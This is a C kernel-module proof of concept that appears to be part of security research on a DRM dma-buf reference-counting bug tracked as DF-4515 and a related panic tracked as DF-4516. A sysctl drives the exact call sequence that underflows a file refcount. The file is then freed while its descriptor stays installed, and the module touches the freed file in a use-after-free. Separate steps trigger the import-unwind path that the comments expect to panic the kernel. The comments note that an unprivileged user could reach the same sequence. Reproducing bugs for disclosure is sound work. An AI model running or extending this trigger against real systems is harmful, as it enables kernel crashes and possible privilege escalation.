/*
 * DF-4515 PoC module — drives the EXACT call sequence that
 * sys/dev/drm/drm_prime.c:drm_gem_prime_fd_to_handle() executes on its
 * already-imported fast path (drm_prime.c:802 dma_buf_get ... :864
 * dma_buf_put with no intervening reference), against the real dma-buf
 * shim shipped in drm.ko (sys/dev/drm/linux_dma-buf.c).
 *
 * sysctl hw.df4515mod.fire=N executes step N:
 *   1 : dma_buf_export()          (as drm_gem_dmabuf_export does)
 *   2 : dma_buf_fd()              (as drm_gem_prime_handle_to_fd does)
 *   3 : ONE dma_buf_get()+dma_buf_put() cycle  (drm_prime.c:802 + :864)
 *   4 : the drm_prime.c:733-758 import failure unwind (DF-4516) — PANICS
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/file.h>
#include <sys/filedesc.h>
#include <sys/errno.h>
#include <sys/conf.h>

#include <linux/dma-buf.h>

static struct dma_buf *g_dmabuf;
static struct file *g_fp;
static int g_fd = -1;
static int g_cycles;

static void
df_release(struct dma_buf *dmabuf)
{
	kprintf("df4515mod:   dma_buf_ops.release fired (dmabuf=%p)\n", dmabuf);
}

static const struct dma_buf_ops df4515_ops = {
	.release = df_release,
};

static int
sysctl_fire(SYSCTL_HANDLER_ARGS)
{
	int cmd = 0;
	int error;

	error = SYSCTL_OUT(req, &cmd, sizeof(cmd));
	if (error != 0 || req->newptr == NULL)
		return (error);
	error = SYSCTL_IN(req, &cmd, sizeof(cmd));
	if (error != 0)
		return (error);

	switch (cmd) {
	case 1:
	{
		struct dma_buf_export_info exp = {
			.ops = &df4515_ops,
			.size = 4096,
			.flags = 0,
			.priv = NULL,
		};
		g_dmabuf = dma_buf_export(&exp);
		if (IS_ERR(g_dmabuf)) {
			kprintf("df4515mod: [1] dma_buf_export failed %ld\n",
			    PTR_ERR(g_dmabuf));
			break;
		}
		g_fp = g_dmabuf->file;
		g_cycles = 0;
		kprintf("df4515mod: [1] dma_buf_export ok dmabuf=%p fp=%p f_count=%d (falloc ref)\n",
		    g_dmabuf, g_fp, g_fp->f_count);
		break;
	}
	case 2:
		g_fd = dma_buf_fd(g_dmabuf, 0);
		if (g_fd < 0) {
			kprintf("df4515mod: [2] dma_buf_fd failed %d\n", g_fd);
			break;
		}
		kprintf("df4515mod: [2] dma_buf_fd -> fd=%d f_count=%d (falloc + fdtab refs)\n",
		    g_fd, g_fp->f_count);
		break;
	case 3:
	{
		/*
		 * drm_prime.c:802:  dma_buf = dma_buf_get(prime_fd);
		 * drm_prime.c:811:  lookup hit (already imported) -> goto out_put
		 * drm_prime.c:864:  dma_buf_put(dma_buf);
		 * NO reference is acquired anywhere in between on this port.
		 */
		struct dma_buf *d = dma_buf_get(g_fd);
		if (IS_ERR(d)) {
			kprintf("df4515mod: [3] dma_buf_get err %ld\n", PTR_ERR(d));
			break;
		}
		dma_buf_put(d);
		g_cycles++;
		kprintf("df4515mod: [3] F2H-cycle #%d done; fp=%p stale f_count=%d%s\n",
		    g_cycles, g_fp,
		    ((volatile struct file *)g_fp)->f_count,
		    ((volatile struct file *)g_fp)->f_count == 0 ?
		    "  <== refcount underflowed to 0, file freed while fd still installed" : "");
		break;
	}
	case 4:
	{
		/* drm_prime.c:733-758 unwind on foreign import (DF-4516) */
		struct dma_buf_attachment *attach;
		struct sg_table *sgt;

		attach = dma_buf_attach(g_dmabuf, NULL);		/* :733 */
		kprintf("df4515mod: [4] dma_buf_attach -> %p IS_ERR=%d\n",
		    attach, IS_ERR(attach) ? 1 : 0);
		if (IS_ERR(attach))
			break;
		sgt = dma_buf_map_attachment(attach, DMA_BIDIRECTIONAL); /* :739 */
		kprintf("df4515mod: [4] dma_buf_map_attachment -> %ld\n",
		    IS_ERR(sgt) ? PTR_ERR(sgt) : 0);
		if (IS_ERR(sgt)) {
			kprintf("df4515mod: [4] goto fail_detach -> dma_buf_detach (drm_prime.c:758): "
			    "expect panic(\"dma_buf_attach is not implemented\")\n");
			dma_buf_detach(g_dmabuf, attach);		/* :758 */
			kprintf("df4515mod: [4] survived dma_buf_detach (unexpected)\n");
		}
		break;
	}
	case 5:
	{
		/*
		 * Full DF-4515 sequence inside one process, exactly the
		 * ioctls an unprivileged video-group user would issue:
		 *   H2F: dma_buf_export + dma_buf_fd	(f_count 1 -> 2)
		 *   F2H #1 (miss->import)  ... same net effect as below
		 *   F2H #2..#N (lookup HIT, drm_prime.c:811-815 -> 864):
		 *        dma_buf_get(); dma_buf_put();   with NO get
		 * Cycle 2 drives f_count to 0 -> dmabuf_close -> kfree,
		 * with the fd still installed.  Cycle 3 then touches the
		 * freed file => use-after-free.
		 */
		struct dma_buf_export_info exp = {
			.ops = &df4515_ops,
			.size = 4096,
			.flags = 0,
			.priv = NULL,
		};
		struct dma_buf *d;
		int i, myfd;

		g_dmabuf = dma_buf_export(&exp);
		if (IS_ERR(g_dmabuf)) {
			kprintf("df4515mod: [5] export failed\n");
			break;
		}
		g_fp = g_dmabuf->file;
		myfd = dma_buf_fd(g_dmabuf, 0);
		kprintf("df4515mod: [5] H2F: dmabuf=%p fp=%p fd=%d f_count=%d\n",
		    g_dmabuf, g_fp, myfd, g_fp->f_count);

		for (i = 1; i <= 3; i++) {
			d = dma_buf_get(myfd);		/* drm_prime.c:802 */
			if (IS_ERR(d)) {
				kprintf("df4515mod: [5] F2H #%d: dma_buf_get err %ld\n",
				    i, PTR_ERR(d));
				break;
			}
			/* lookup hit: no reference taken in between */
			dma_buf_put(d);			/* drm_prime.c:864 */
			kprintf("df4515mod: [5] F2H lookup-hit cycle #%d done; "
			    "f_count now %d%s\n", i,
			    ((volatile struct file *)g_fp)->f_count,
			    ((volatile struct file *)g_fp)->f_count == 0 ?
			    "  <== UNDERFLOW: file freed, fd still installed" : "");
		}
		/* one more touch of the installed fd = UAF */
		kprintf("df4515mod: [5] touching freed file via installed fd:\n");
		d = dma_buf_get(myfd);
		kprintf("df4515mod: [5] survived UAF touch (dma_buf_get -> %ld)\n",
		    IS_ERR(d) ? PTR_ERR(d) : 0);
		break;
	}
	case 6:
	{
		/* DF-4516: full foreign-import failure sequence */
		struct dma_buf_export_info exp = {
			.ops = &df4515_ops,
			.size = 4096,
			.flags = 0,
			.priv = NULL,
		};
		struct dma_buf_attachment *attach;
		struct sg_table *sgt;

		g_dmabuf = dma_buf_export(&exp);
		if (IS_ERR(g_dmabuf)) {
			kprintf("df4515mod: [6] export failed\n");
			break;
		}
		g_fd = dma_buf_fd(g_dmabuf, 0);

		attach = dma_buf_attach(g_dmabuf, NULL);		/* :733 */
		kprintf("df4515mod: [6] dma_buf_attach -> %p IS_ERR=%d\n",
		    attach, IS_ERR(attach) ? 1 : 0);
		if (IS_ERR(attach))
			break;
		sgt = dma_buf_map_attachment(attach, DMA_BIDIRECTIONAL); /* :739 */
		kprintf("df4515mod: [6] dma_buf_map_attachment -> %ld\n",
		    IS_ERR(sgt) ? PTR_ERR(sgt) : 0);
		if (IS_ERR(sgt)) {
			kprintf("df4515mod: [6] goto fail_detach -> dma_buf_detach "
			    "(drm_prime.c:758): expect panic\n");
			dma_buf_detach(g_dmabuf, attach);	/* :758 */
			kprintf("df4515mod: [6] survived dma_buf_detach (unexpected)\n");
		}
		break;
	}
	default:
		return (EINVAL);
	}
	return (0);
}

SYSCTL_NODE(_hw, OID_AUTO, df4515mod, CTLFLAG_RW, 0, "DF-4515 test");
SYSCTL_PROC(_hw_df4515mod, OID_AUTO, fire, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, sysctl_fire, "I", "execute test step N");

static int
df4515mod_handler(module_t mod, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		kprintf("df4515mod: loaded (DF-4515/DF-4516 primitive driver)\n");
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (0);
	}
}

DEV_MODULE(df4515mod, df4515mod_handler, NULL);
MODULE_DEPEND(df4515mod, drm, 1, 1, 1);